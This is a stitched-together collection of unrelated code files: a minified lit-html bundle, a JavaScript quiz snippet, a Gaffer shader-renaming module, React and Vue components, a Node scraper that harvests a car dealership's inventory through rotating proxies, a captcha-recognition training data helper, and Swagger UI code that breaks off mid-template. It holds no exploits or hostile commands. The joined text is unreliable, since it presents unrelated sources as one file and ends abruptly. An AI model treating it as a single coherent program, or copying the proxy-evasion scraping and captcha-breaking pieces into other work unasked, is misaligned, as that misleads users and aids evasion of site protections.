t.SVGTemplateResult(r,n,"svg",e.defaultTemplateProcessor);exports.svg=c;
},{"./lib/default-template-processor.js":"52LB","./lib/template-result.js":"cVNN","./lib/directive.js":"uWh2","./lib/dom.js":"2ytx","./lib/part.js":"pnLb","./lib/parts.js":"atl2","./lib/render.js":"Fhpq","./lib/template-factory.js":"gbKZ","./lib/template-instance.js":"bn5t","./lib/template.js":"Av0K"}],"cGPc":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.repeat=void 0;var N=require("../lit-html.js");const f=(f,g)=>{const v=f.startNode.parentNode,h=void 0===g?f.endNode:g.startNode,b=v.insertBefore((0,N.createMarker)(),h);v.insertBefore((0,N.createMarker)(),h);const k=new N.NodePart(f.options);return k.insertAfterNode(b),k},g=(N,f)=>(N.setValue(f),N.commit(),N),v=(f,g,v)=>{const h=f.startNode.parentNode,b=v?v.startNode:f.endNode,k=g.endNode.nextSibling;k!==b&&(0,N.reparentNodes)(h,g.startNode,k,b)},h=f=>{(0,N.removeNodes)(f.startNode.parentNode,f.startNode,f.endNode.nextSibling)},b=(N,f,g)=>{const v=new Map;for(let h=f;h<=g;h++)v.set(N[h],h);return v},k=new WeakMap,j=new WeakMap,m=(0,N.directive)((m,S,W)=>{let _;return void 0===W?W=S:void 0!==S&&(_=S),S=>{if(!(S instanceof N.NodePart))throw new Error("repeat can only be used in text bindings");const q=k.get(S)||[],E=j.get(S)||[],O=[],z=[],C=[];let D,F,G=0;for(const N of m)C[G]=_?_(N,G):G,z[G]=W(N,G),G++;let J=0,L=q.length-1,Q=0,R=z.length-1;for(;J<=L&&Q<=R;)if(null===q[J])J++;else if(null===q[L])L--;else if(E[J]===C[Q])O[Q]=g(q[J],z[Q]),J++,Q++;else if(E[L]===C[R])O[R]=g(q[L],z[R]),L--,R--;else if(E[J]===C[R])O[R]=g(q[J],z[R]),v(S,q[J],O[R+1]),J++,R--;else if(E[L]===C[Q])O[Q]=g(q[L],z[Q]),v(S,q[L],q[J]),L--,Q++;else if(void 0===D&&(D=b(C,Q,R),F=b(E,J,L)),D.has(E[J]))if(D.has(E[L])){const N=F.get(C[Q]),h=void 0!==N?q[N]:null;if(null===h){const N=f(S,q[J]);g(N,z[Q]),O[Q]=N}else O[Q]=g(h,z[Q]),v(S,h,q[J]),q[N]=null;Q++}else h(q[L]),L--;else h(q[J]),J++;for(;Q<=R;){const N=f(S,O[R+1]);g(N,z[Q]),O[Q++]=N}for(;J<=L;){const N=q[J++];null!==N&&h(N)}k.set(S,O),j.set(S,C)}});exports.repeat=m;
},{"../lit-html.js":"SP/d"}],"TRhx":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.guard=void 0;var r=require("../lit-html.js");const t=new WeakMap,e=(0,r.directive)((r,e)=>s=>{const y=t.get(s);if(Array.isArray(r)){if(Array.isArray(y)&&y.length===r.length&&r.every((r,t)=>r===y[t]))return}else if(y===r&&(void 0!==r||t.has(s)))return;s.setValue(e()),t.set(s,Array.isArray(r)?Array.from(r):r)});exports.guard=e;
},{"../lit-html.js":"SP/d"}],"/jTP":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.unsafeHTML=void 0;var e=require("../lit-html.js");const t=new WeakMap,n=(0,e.directive)(n=>r=>{if(!(r instanceof e.NodePart))throw new Error("unsafeHTML can only be used in text bindings");if(t.get(r)===n&&(0,e.isPrimitive)(n))return;const i=document.createElement("template");i.innerHTML=n,r.setValue(document.importNode(i.content,!0)),t.set(r,n)});exports.unsafeHTML=n;
},{"../lit-html.js":"SP/d"}],"Focm":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var e=require("./hoc/createHoc"),r=t(require("./lit-html-server"));function t(e){if(e&&e.__esModule)return e;var r={};if(null!=e)for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t)){var i=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,t):{};i.get||i.set?Object.defineProperty(r,t,i):r[t]=e[t]}return r.default=e,r}var i=function(t){return t?{html:require("lit-html").html,render:require("lit-html").render,repeat:require("lit-html/directives/repeat.js").repeat,guard:require("lit-html/directives/guard.js").guard,unsafeHTML:require("lit-html/directives/unsafe-html.js").unsafeHTML,createHoc:(0,e.createHoc)(!0)}:{html:r.html,render:r.render,repeat:r.repeat,guard:r.guard,unsafeHTML:r.unsafeHTML,createHoc:(0,e.createHoc)(!1)}};exports.default=i;
},{"./hoc/createHoc":"w7Av","./lit-html-server":"om6y","lit-html":"SP/d","lit-html/directives/repeat.js":"cGPc","lit-html/directives/guard.js":"TRhx","lit-html/directives/unsafe-html.js":"/jTP"}]},{},["Focm"], null)
//# sourceMappingURL=/index.map
|
const fruits = {
current: 'banana',
getCurrent: () => {
return this.current;
},
};
console.log(fruits.getCurrent()); // What will this print out?
|
##########################################################################
#
# Copyright (c) 2018, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above
# copyright notice, this list of conditions and the following
# disclaimer.
#
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided with
# the distribution.
#
# * Neither the name of John Haddon nor the names of
# any other contributors to this software may be used to endorse or
# promote products derived from this software without specific prior
# written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
##########################################################################
import GafferOSL
__nameMapping = {
"Utility/VectorToColor" : "Conversion/VectorToColor",
"Utility/BuildColor" : "Conversion/FloatToColor",
"Utility/SplitColor" : "Conversion/ColorToFloat",
"Utility/BuildPoint" : "Conversion/FloatToVector",
"Utility/SplitPoint" : "Conversion/VectorToFloat",
"Maths/FloatMix" : "Maths/MixFloat",
"Maths/VectorMix" : "Maths/MixVector",
"Maths/FloatAdd" : "Maths/AddFloat",
"Maths/FloatMultiply" : "Maths/MultiplyFloat",
"Maths/VectorAdd" : "Maths/AddVector",
"Maths/VectorMultiply" : "Maths/ScaleVector",
# A whole bunch of MaterialX shaders were renamed from `mx_<op>_<type>`
# to `mx_<op>_<type>_<type>` here :
#
# https://github.com/AcademySoftwareFoundation/OpenShadingLanguage/pull/909.
#
# It seems likely that this was a mistake, given that the equivalent
# shaders in the MaterialX repo are just `mx_<op>_<type>`. But to
# keep old scenes loading we have to do the conversion. If in future we
# switch to the MaterialX implementation, we will just have to
# reverse the renaming here.
"MaterialX/mx_add_color" : "MaterialX/mx_add_color_color",
"MaterialX/mx_add_color2" : "MaterialX/mx_add_color2_color2",
"MaterialX/mx_add_color4" : "MaterialX/mx_add_color4_color4",
"MaterialX/mx_add_float" : "MaterialX/mx_add_float_float",
"MaterialX/mx_add_surfaceshader" : "MaterialX/mx_add_surfaceshader_surfaceshader",
"MaterialX/mx_add_vector" : "MaterialX/mx_add_vector_vector",
"MaterialX/mx_add_vector2" : "MaterialX/mx_add_vector2_vector2",
"MaterialX/mx_add_vector4" : "MaterialX/mx_add_vector4_vector4",
"MaterialX/mx_clamp_color" : "MaterialX/mx_clamp_color_color",
"MaterialX/mx_clamp_color2" : "MaterialX/mx_clamp_color2_color2",
"MaterialX/mx_clamp_color4" : "MaterialX/mx_clamp_color4_color4",
"MaterialX/mx_clamp_float" : "MaterialX/mx_clamp_float_float",
"MaterialX/mx_clamp_vector" : "MaterialX/mx_clamp_vector_vector",
"MaterialX/mx_clamp_vector2" : "MaterialX/mx_clamp_vector2_vector2",
"MaterialX/mx_clamp_vector4" : "MaterialX/mx_clamp_vector4_vector4",
"MaterialX/mx_contrast_color" : "MaterialX/mx_contrast_color_color",
"MaterialX/mx_contrast_color2" : "MaterialX/mx_contrast_color2_color2",
"MaterialX/mx_contrast_color4" : "MaterialX/mx_contrast_color4_color4",
"MaterialX/mx_contrast_float" : "MaterialX/mx_contrast_float_float",
"MaterialX/mx_contrast_vector" : "MaterialX/mx_contrast_vector_vector",
"MaterialX/mx_contrast_vector2" : "MaterialX/mx_contrast_vector2_vector2",
"MaterialX/mx_contrast_vector4" : "MaterialX/mx_contrast_vector4_vector4",
"MaterialX/mx_divide_color" : "MaterialX/mx_divide_color_color",
"MaterialX/mx_divide_color2" : "MaterialX/mx_divide_color2_color2",
"MaterialX/mx_divide_color4" : "MaterialX/mx_divide_color4_color4",
"MaterialX/mx_divide_float" : "MaterialX/mx_divide_float_float",
"MaterialX/mx_divide_vector" : "MaterialX/mx_divide_vector_vector",
"MaterialX/mx_divide_vector2" : "MaterialX/mx_divide_vector2_vector2",
"MaterialX/mx_divide_vector4" : "MaterialX/mx_divide_vector4_vector4",
"MaterialX/mx_invert_color" : "MaterialX/mx_invert_color_color",
"MaterialX/mx_invert_color2" : "MaterialX/mx_invert_color2_color2",
"MaterialX/mx_invert_color4" : "MaterialX/mx_invert_color4_color4",
"MaterialX/mx_invert_float" : "MaterialX/mx_invert_float_float",
"MaterialX/mx_invert_vector" : "MaterialX/mx_invert_vector_vector",
"MaterialX/mx_invert_vector2" : "MaterialX/mx_invert_vector2_vector2",
"MaterialX/mx_invert_vector4" : "MaterialX/mx_invert_vector4_vector4",
"MaterialX/mx_max_color" : "MaterialX/mx_max_color_color",
"MaterialX/mx_max_color2" : "MaterialX/mx_max_color2_color2",
"MaterialX/mx_max_color4" : "MaterialX/mx_max_color4_color4",
"MaterialX/mx_max_float" : "MaterialX/mx_max_float_float",
"MaterialX/mx_max_vector" : "MaterialX/mx_max_vector_vector",
"MaterialX/mx_max_vector2" : "MaterialX/mx_max_vector2_vector2",
"MaterialX/mx_max_vector4" : "MaterialX/mx_max_vector4_vector4",
"MaterialX/mx_min_color" : "MaterialX/mx_min_color_color",
"MaterialX/mx_min_color2" : "MaterialX/mx_min_color2_color2",
"MaterialX/mx_min_color4" : "MaterialX/mx_min_color4_color4",
"MaterialX/mx_min_float" : "MaterialX/mx_min_float_float",
"MaterialX/mx_min_vector" : "MaterialX/mx_min_vector_vector",
"MaterialX/mx_min_vector2" : "MaterialX/mx_min_vector2_vector2",
"MaterialX/mx_min_vector4" : "MaterialX/mx_min_vector4_vector4",
"MaterialX/mx_modulo_color" : "MaterialX/mx_modulo_color_color",
"MaterialX/mx_modulo_color2" : "MaterialX/mx_modulo_color2_color2",
"MaterialX/mx_modulo_color4" : "MaterialX/mx_modulo_color4_color4",
"MaterialX/mx_modulo_float" : "MaterialX/mx_modulo_float_float",
"MaterialX/mx_modulo_vector" : "MaterialX/mx_modulo_vector_vector",
"MaterialX/mx_modulo_vector2" : "MaterialX/mx_modulo_vector2_vector2",
"MaterialX/mx_modulo_vector4" : "MaterialX/mx_modulo_vector4_vector4",
"MaterialX/mx_multiply_color" : "MaterialX/mx_multiply_color_color",
"MaterialX/mx_multiply_color2" : "MaterialX/mx_multiply_color2_color2",
"MaterialX/mx_multiply_color4" : "MaterialX/mx_multiply_color4_color4",
"MaterialX/mx_multiply_float" : "MaterialX/mx_multiply_float_float",
"MaterialX/mx_multiply_vector" : "MaterialX/mx_multiply_vector_vector",
"MaterialX/mx_multiply_vector2" : "MaterialX/mx_multiply_vector2_vector2",
"MaterialX/mx_multiply_vector4" : "MaterialX/mx_multiply_vector4_vector4",
"MaterialX/mx_remap_color" : "MaterialX/mx_remap_color_color",
"MaterialX/mx_remap_color2" : "MaterialX/mx_remap_color2_color2",
"MaterialX/mx_remap_color4" : "MaterialX/mx_remap_color4_color4",
"MaterialX/mx_remap_float" : "MaterialX/mx_remap_float_float",
"MaterialX/mx_remap_vector" : "MaterialX/mx_remap_vector_vector",
"MaterialX/mx_remap_vector2" : "MaterialX/mx_remap_vector2_vector2",
"MaterialX/mx_remap_vector4" : "MaterialX/mx_remap_vector4_vector4",
"MaterialX/mx_smoothstep_color" : "MaterialX/mx_smoothstep_color_color",
"MaterialX/mx_smoothstep_color2" : "MaterialX/mx_smoothstep_color2_color2",
"MaterialX/mx_smoothstep_color4" : "MaterialX/mx_smoothstep_color4_color4",
"MaterialX/mx_smoothstep_float" : "MaterialX/mx_smoothstep_float_float",
"MaterialX/mx_smoothstep_vector" : "MaterialX/mx_smoothstep_vector_vector",
"MaterialX/mx_smoothstep_vector2" : "MaterialX/mx_smoothstep_vector2_vector2",
"MaterialX/mx_smoothstep_vector4" : "MaterialX/mx_smoothstep_vector4_vector4",
"MaterialX/mx_subtract_color" : "MaterialX/mx_subtract_color_color",
"MaterialX/mx_subtract_color2" : "MaterialX/mx_subtract_color2_color2",
"MaterialX/mx_subtract_color4" : "MaterialX/mx_subtract_color4_color4",
"MaterialX/mx_subtract_float" : "MaterialX/mx_subtract_float_float",
"MaterialX/mx_subtract_vector" : "MaterialX/mx_subtract_vector_vector",
"MaterialX/mx_subtract_vector2" : "MaterialX/mx_subtract_vector2_vector2",
"MaterialX/mx_subtract_vector4" : "MaterialX/mx_subtract_vector4_vector4",
}
def __loadShaderWrapper( originalLoadShader ) :
def loadRenamedShader( self, shaderName, **kwargs ) :
renamed = __nameMapping.get( shaderName, shaderName )
return originalLoadShader( self, renamed, **kwargs )
return loadRenamedShader
GafferOSL.OSLShader.loadShader = __loadShaderWrapper( GafferOSL.OSLShader.loadShader )
|
import React, { Component } from "react";
import styled from "styled-components";
const Bar = styled.header`
background-color: white;
border-bottom: 1px solid #ccc;
height: 50px;
display: flex;
position: relative;
-webkit-user-select: none;
-webkit-app-region: drag;
`;
export default class TopBar extends Component {
render() {
return <Bar />;
}
}
|
import{_ as e}from"./TableImg.c292f6c6.js";import{g as o}from"./BasicForm.8dd34761.js";import{u as t}from"./useTable.28113166.js";import{g as i,c as n,s as a,d}from"./module.data.1f04011f.js";import{h as r}from"./index.63ccfb82.js";import s from"./ModuleModal.ff22eba2.js";import l from"./PValueSettingModal.bcc2dd69.js";import{b as c}from"./index.0433a71f.js";import{y as u,Y as p,Z as m,B as f,F as b,v as h,a2 as g,a9 as j}from"./vendor.880b4c6c.js";/* empty css *//* empty css */import"./useForm.ba0f60da.js";/* empty css *//* empty css *//* empty css */import"./uuid.2b29000c.js";import"./useWindowSizeFn.564cf32e.js";import"./onMountedOrActivated.8f899bfb.js";/* empty css */import"./useSortable.7fdc4a8b.js";/* empty css *//* empty css *//* empty css *//* empty css */import"./index.b3d678de.js";/* empty css *//* empty css *//* empty css */import"./download.41df5c96.js";import"./base64Conver.bb012c73.js";import"./index.c6f733ce.js";import"./appPrivilegeValue.d3e6bcb6.js";const{createMessage:x}=r();var M=u({name:"Module",components:{BasicTable:e,TableAction:o,ModuleModal:s,PValueSettingModal:l},setup(){const[e,{openModal:o,setModalProps:r}]=c(),[s,{openModal:l}]=c(),[u,{reload:m,expandAll:f}]=t({title:"列表",api:i,columns:n,isTreeTable:!0,formConfig:{labelWidth:120,schemas:a,showAdvancedButton:!1,showResetButton:!1,autoSubmitOnEnter:!0},expandRowByClick:!0,canColDrag:!0,useSearchForm:!0,pagination:!1,bordered:!0,showIndexColumn:!1,actionColumn:{width:170,title:"操作",dataIndex:"action",slots:{customRender:"action"}}});return p((()=>{setTimeout((()=>{f()}),1e3)})),{registerTable:u,registerModal:e,registerPValueModal:s,handleCreate:function(e){r({title:"新增菜单"}),o(!0,{record:e,isUpdate:!1})},handleEdit:function(e,t){t.stopPropagation(),r({title:"修改菜单"}),o(!0,{record:e,isUpdate:!0})},handleEditPValue:function(e,o){o.stopPropagation(),l(!0,{record:e,isUpdate:!0})},handleCreateChild:function(e,t){t.stopPropagation(),r({title:"新增【"+e.name+"】的子菜单"}),e={pid:e.id},o(!0,{record:e,isUpdate:!0})},handleDelete:function(e){e.children&&e.children.length>0?x.warning("有子节点,不能删除!"):d([e.id]).then((()=>{m()}))},handleSuccess:function(){return e=this,o=null,t=function*(){yield m(),setTimeout((()=>{f()}),100)},new Promise(((i,n)=>{var a=e=>{try{r(t.next(e))}catch(o){n(o)}},d=e=>{try{r(t.throw(e))}catch(o){n(o)}},r=e=>e.done?i(e.value):Promise.resolve(e.value).then(a,d);r((t=t.apply(e,o)).next())}));var e,o,t}}}});const C=j(" 新增 ");M.render=function(e,o,t,i,n,a){const d=m("a-button"),r=m("Authority"),s=m("TableAction"),l=m("BasicTable"),c=m("ModuleModal"),u=m("PValueSettingModal");return f(),b("div",null,[h(l,{onRegister:e.registerTable},{toolbar:g((()=>[h(r,{value:"Module:0"},{default:g((()=>[h(d,{type:"primary",onClick:e.handleCreate},{default:g((()=>[C])),_:1},8,["onClick"])])),_:1})])),action:g((({record:o})=>[h(s,{actions:[{auth:"Module:0",tooltip:"添加子菜单",icon:"ant-design:plus-outlined",onClick:e.handleCreateChild.bind(null,o)},{auth:"Module:6",tooltip:"设置权限值",icon:"ant-design:setting-outlined",onClick:e.handleEditPValue.bind(null,o)},{auth:"Module:2",tooltip:"修改",icon:"clarity:note-edit-line",onClick:e.handleEdit.bind(null,o)},{auth:"Module:3",tooltip:"删除",icon:"ant-design:delete-outlined",color:"error",onClick:e=>{e.stopPropagation()},popConfirm:{title:"是否确认删除",confirm:e.handleDelete.bind(null,o)}}]},null,8,["actions"])])),_:1},8,["onRegister"]),h(c,{onRegister:e.registerModal,onSuccess:e.handleSuccess},null,8,["onRegister","onSuccess"]),h(u,{onRegister:e.registerPValueModal,onSuccess:e.handleSuccess},null,8,["onRegister","onSuccess"])])};export default M;
|
const fs = require('fs').promises;
const path = require('path');
const { parse } = require('json2csv');
const axios = require('axios');
const cheerio = require('cheerio');
const proxyGenerator = require('./modules/proxyGenerator');
const mongoose = require('mongoose');
const EmailModel = require('./model/Email');
const AetMotorsport = require('./model/AetMotorsport');
const MenuLinks = require('./model/MenuLinks');
const baseURL = "https://www.aetmotorsport.com";
/**
* Connect to mongoDB
*
* @returns {db} database pointer
*/
function connectToMongoDB()
{
mongoose.connect("mongodb://127.0.0.1:27017/aetmotorsport", { useNewUrlParser: true, useUnifiedTopology: true });
let db = mongoose.connection;
db.once('open', () => { console.log("Connected to mongoDB") });
return db;
}
/**
* Scrape links from parent page.
*
* @param {String} url
* @param {String} elementTarget
*/
async function scrapePageLinks(url, elementTarget)
{
console.log('Scraping parent links...');
await axios.get(url, { proxy: proxyGenerator() })
.then( (response) =>
{
// console.log(response);
if(response.status === 200)
{
const $ = cheerio.load(response.data);
// Iterate over menu and log all links.
$(elementTarget).each((index, element) =>
{
// console.log(targetURL + $(element).attr('href'));
// Build the full url string.
let endPoint = $(element).attr('href');
let dbElement = baseURL + endPoint;
// Create a new model instance.
let menuLinks = new MenuLinks({ url: dbElement })
// Save it to db.
menuLinks.save()
.then(doc => { console.log(doc) })
.catch(err => { console.error(err) })
});
}
else
{
console.log("Response error: " + response.status);
}
})
.catch( (error) =>
{
// Handle error.
console.log("Error scraping site: " + error);
});
}
/**
* Scrape the vehicle details from parent page.
*
* @param {cheerio} $
* @param {model} collection
*/
function scrapeVehicleDetails($, collection)
{
$('.row.srpVehicle.hasVehicleInfo').map( (index, element) =>
{
collection.vin = $(element).data().vin;
collection.make = $(element).data().make;
collection.model = $(element).data().model;
collection.year = $(element).data().year;
collection.trim = $(element).data().trim;
collection.extcolor = $(element).data().extcolor;
collection.intcolor = $(element).data().intcolor;
collection.trans = $(element).data().trans;
collection.price = $(element).data().price;
collection.vehicleid = $(element).data().vehicleid;
collection.engine = $(element).data().engine;
collection.fueltype = $(element).data().fueltype;
collection.vehicletype = $(element).data().vehicletype;
collection.bodystyle = $(element).data().bodystyle;
collection.modelcode = $(element).data().modelcode;
collection.msrp = $(element).data().msrp;
collection.name = $(element).data().name;
collection.cpo = $(element).data().cpo;
collection.stocknum = $(element).data().stocknum;
collection.mpgcity = $(element).data().mpgcity;
collection.mpghwy = $(element).data().mpghwy;
});
}
/**
* Parse the json from database and convert to csv before writing file.
*
* @param {mongoDB} database
*/
async function writeOutCSV(database)
{
// For unique file name.
const filePath = path.join(__dirname, "/", "exports", "StHelens." + getCurrentTimeStamp() + ".csv");
// CSV field headers.
const fields = ['vin', 'make', 'model'];
// Options to be passed.
const opts = { fields };
database.once('open', () =>
{
// Fetch data from collection.
database.db.collection('vehicle', (error, collection) =>
{
collection.find({}).toArray( (error, data) =>
{
// console.log(data);
// Attempt to parse json and write file.
try
{
const csv = parse(data, opts);
// console.log(csv);
fs.writeFile(filePath, csv, (error) =>
{
if (error) return console.log('error: ' + error);
});
console.log('File saved...');
}
catch (error)
{
console.error(error);
}
});
});
});
}
/**
* Read the file.
*
* @param {string} filePath
*/
async function readFile(filePath)
{
try
{
const data = await fs.readFile(filePath);
console.log(data.toString());
}
catch (error)
{
console.error(`Got an error trying to read the file: ${error.message}`);
}
}
/**
* Get the current date timestamp.
*
* @returns {string} YYYY-MM-DD.HH:MM:SS
*/
function getCurrentTimeStamp()
{
let dateObj = new Date();
// Adjust 0 before single digit date.
let date = ('0' + dateObj.getDate()).slice(-2);
let month = ('0' + (dateObj.getMonth() + 1)).slice(-2);
let year = dateObj.getFullYear();
let hours = dateObj.getHours();
let minutes = ('0' + dateObj.getMinutes()).slice(-2);
let seconds = dateObj.getSeconds();
return date + '-' + month + '-' + year + '.' + hours + ':' + minutes + ':' + seconds;
}
/**
* Retrieve the collection from database.
*
* @return {array} String url's
*/
async function getMenuLinks()
{
let res = MenuLinks
.find({}, { _id: 0, url: 1 } )
.then(doc => { return doc })
.catch(err => { console.error(err) });
// res.forEach(element => {
// console.log(element.url);
// });
return res;
}
/**
* Initialisation
*/
async function main()
{
// Call to connect to database.
let database = connectToMongoDB();
// Test function working!
// readFile('exports/test.txt');
// Scrape the parent page and store in database.
// await scrapePageLinks(baseURL, '#AccessibleNav > li > a');
// Retrieve links from collection.
const urls = await getMenuLinks();
urls.forEach(element => {
console.log(element.url);
});
// Fetch data from database and export to csv file.
// writeOutCSV(database);
// This will also exit after 1 seconds, and print its (killed) PID
setTimeout(( () => { return process.kill(process.pid); }), 1000);
}
main();
|
# -*- coding: utf-8 -*-
import os
import numpy as np
from PIL import Image
from config import args
def text2int(text, wordset):
return wordset.index(text)
def text2vec(text, wordset):
vec = np.zeros(len(wordset))
index = wordset.index(text)
vec[index] = 1
return vec
def int2text(index, wordset):
return wordset[index]
def get_X(path, size):
"""resize, convert to gray, flatten and normalizes
random_red: random change the image to red.
"""
img = Image.open(path)
img = img.resize(size).convert('L')
img = np.array(img)
img = img[np.newaxis, :, :] / 255
return img
def get_Y(path, wordset):
"""assume captche text is at the beginning of path
"""
basename = os.path.basename(path)
text = basename[0]
vec = text2int(text, wordset)
return vec
def data_iterator(data_dir, batch_size, num_epochs):
"""iterate around data
data_dir: data directory, allow sub directory exists
"""
data = [os.path.join(dir, f) for dir, _, files in
os.walk(data_dir) for f in files]
data = np.array(data)
data_size = len(data)
num_batches_per_epoch = int((len(data)-1)/batch_size) + 1
for _ in range(num_epochs):
indices = np.random.permutation(len(data))
shuffled_data = data[indices]
for batch_idx in range(num_batches_per_epoch):
start_index = batch_idx * batch_size
end_index = min((batch_idx + 1) * batch_size, data_size)
yield shuffled_data[start_index:end_index]
# most ugly function
def train_data_iterator():
size = (args.image_size, args.image_size)
data_iter = data_iterator(args.train_data_dir, args.batch_size, args.epochs)
for data in data_iter:
X = [get_X(datum, size) for datum in data]
y = [get_Y(datum, args.wordset) for datum in data]
yield X, y
# most ugly function
def test_data_helper(batch_size=None):
size = (args.image_size, args.image_size)
data = [os.path.join(dir, f) for dir, _, files in
os.walk(args.test_data_dir) for f in files]
if batch_size is not None:
np.random.shuffle(data)
data = data[:batch_size]
X = [get_X(datum, size) for datum in data]
y = [get_Y(datum, args.wordset) for datum in data]
return X, y
|
$(function(){$.fn.vAlign=function(){return this.each(function(c){var a=$(this).height();var d=$(this).parent().height();var b=(d-a)/2;$(this).css("margin-top",b)})};$.fn.stretchFormtasticInputWidthToParent=function(){return this.each(function(b){var d=$(this).closest("form").innerWidth();var c=parseInt($(this).closest("form").css("padding-left"),10)+parseInt($(this).closest("form").css("padding-right"),10);var a=parseInt($(this).css("padding-left"),10)+parseInt($(this).css("padding-right"),10);$(this).css("width",d-c-a)})};$("form.formtastic li.string input, form.formtastic textarea").stretchFormtasticInputWidthToParent();$("ul.downplayed li div.content p").vAlign();$("form.sandbox").submit(function(){var a=true;$(this).find("input.required").each(function(){$(this).removeClass("error");if($(this).val()==""){$(this).addClass("error");$(this).wiggle();a=false}});return a})});function clippyCopiedCallback(b){$("#api_key_copied").fadeIn().delay(1000).fadeOut()}function log(){if(window.console){console.log.apply(console,arguments)}}if(Function.prototype.bind&&console&&typeof console.log=="object"){["log","info","warn","error","assert","dir","clear","profile","profileEnd"].forEach(function(a){console[a]=this.bind(console[a],console)},Function.prototype.call)}var Docs={shebang:function(){var b=$.param.fragment().split("/");b.shift();switch(b.length){case 1:var d="resource_"+b[0];Docs.expandEndpointListForResource(b[0]);$("#"+d).slideto({highlight:false});break;case 2:Docs.expandEndpointListForResource(b[0]);$("#"+d).slideto({highlight:false});var c=b.join("_");var a=c+"_content";Docs.expandOperation($("#"+a));$("#"+c).slideto({highlight:false});break}},toggleEndpointListForResource:function(b){var a=$("li#resource_"+Docs.escapeResourceName(b)+" ul.endpoints");if(a.is(":visible")){Docs.collapseEndpointListForResource(b)}else{Docs.expandEndpointListForResource(b)}},expandEndpointListForResource:function(b){var b=Docs.escapeResourceName(b);if(b==""){$(".resource ul.endpoints").slideDown();return}$("li#resource_"+b).addClass("active");var a=$("li#resource_"+b+" ul.endpoints");a.slideDown()},collapseEndpointListForResource:function(b){var b=Docs.escapeResourceName(b);$("li#resource_"+b).removeClass("active");var a=$("li#resource_"+b+" ul.endpoints");a.slideUp()},expandOperationsForResource:function(a){Docs.expandEndpointListForResource(a);if(a==""){$(".resource ul.endpoints li.operation div.content").slideDown();return}$("li#resource_"+Docs.escapeResourceName(a)+" li.operation div.content").each(function(){Docs.expandOperation($(this))})},collapseOperationsForResource:function(a){Docs.expandEndpointListForResource(a);$("li#resource_"+Docs.escapeResourceName(a)+" li.operation div.content").each(function(){Docs.collapseOperation($(this))})},escapeResourceName:function(a){return a.replace(/[!"#$%&'()*+,.\/:;<=>?@\[\\\]\^`{|}~]/g,"\\$&")},expandOperation:function(a){a.slideDown()},collapseOperation:function(a){a.slideUp()}};(function(){var b=Handlebars.template,a=Handlebars.templates=Handlebars.templates||{};a.param=b(function(f,q,o,j,s){this.compilerInfo=[2,">= 1.0.0-rc.3"];o=o||f.helpers;s=s||{};var p="",g,d="function",c=this.escapeExpression,n=this;function m(x,w){var u="",v;u+="\n ";v=o["if"].call(x,x.isFile,{hash:{},inverse:n.program(4,k,w),fn:n.program(2,l,w),data:w});if(v||v===0){u+=v}u+="\n ";return u}function l(x,w){var u="",v;u+='\n <input type="file" name=\'';if(v=o.name){v=v.call(x,{hash:{},data:w})}else{v=x.name;v=typeof v===d?v.apply(x):v}u+=c(v)+'\'/>\n <div class="parameter-content-type" />\n ';return u}function k(x,w){var u="",v;u+="\n ";v=o["if"].call(x,x.defaultValue,{hash:{},inverse:n.program(7,h,w),fn:n.program(5,i,w),data:w});if(v||v===0){u+=v}u+="\n ";return u}function i(x,w){var u="",v;u+="\n <textarea class='body-textarea' name='";if(v=o.name){v=v.call(x,{hash:{},data:w})}else{v=x.name;v=typeof v===d?v.apply(x):v}u+=c(v)+"'>";if(v=o.defaultValue){v=v.call(x,{hash:{},data:w})}else{v=x.defaultValue;v=typeof v===d?v.apply(x):v}u+=c(v)+"</textarea>\n ";return u}function h(x,w){var u="",v;u+="\n <textarea class='body-textarea' name='";if(v=o.name){v=v.call(x,{hash:{},data:w})}else{v=x.name;v=typeof v===d?v.apply(x):v}u+=c(v)+'\'></textarea>\n <br />\n <div class="parameter-content-type" />\n ';return u}function e(x,w){var u="",v;u+="\n ";v=o["if"].call(x,x.defaultValue,{hash:{},inverse:n.program(12,r,w),fn:n.program(10,t,w),data:w});if(v||v===0){u+=v}u+="\n ";return u}function t(x,w){var u="",v;u+="\n <input class='parameter' minlength='0' name='";if(v=o.name){v=v.call(x,{hash:{},data:w})}else{v=x.name;v=typeof v===d?v.apply(x):v}u+=c(v)+"' placeholder='' type='text' value='";if(v=o.defaultValue){v=v.call(x,{hash:{},data:w})}else{v=x.defaultValue;v=typeof v===d?v.apply(x):v}u+=c(v)+"'/>\n ";return u}function r(x,w){var u="",v;u+="\n <input class='parameter' minlength='0' name='";if(v=o.name){v=v.call(x,{hash:{},data:w})}else{v=x.name;v=typeof v===d?v.apply(x):v}u+=c(v)+"' placeholder='' type='text' value=''/>\n ";return u}p+="<td class='code'>";if(g=o.name){g=g.call(q,{hash:{},data:s})}else{g=q.name;g=typeof g===d?g.apply(q):g}p+=c(g)+"</td>\n<td>\n\n 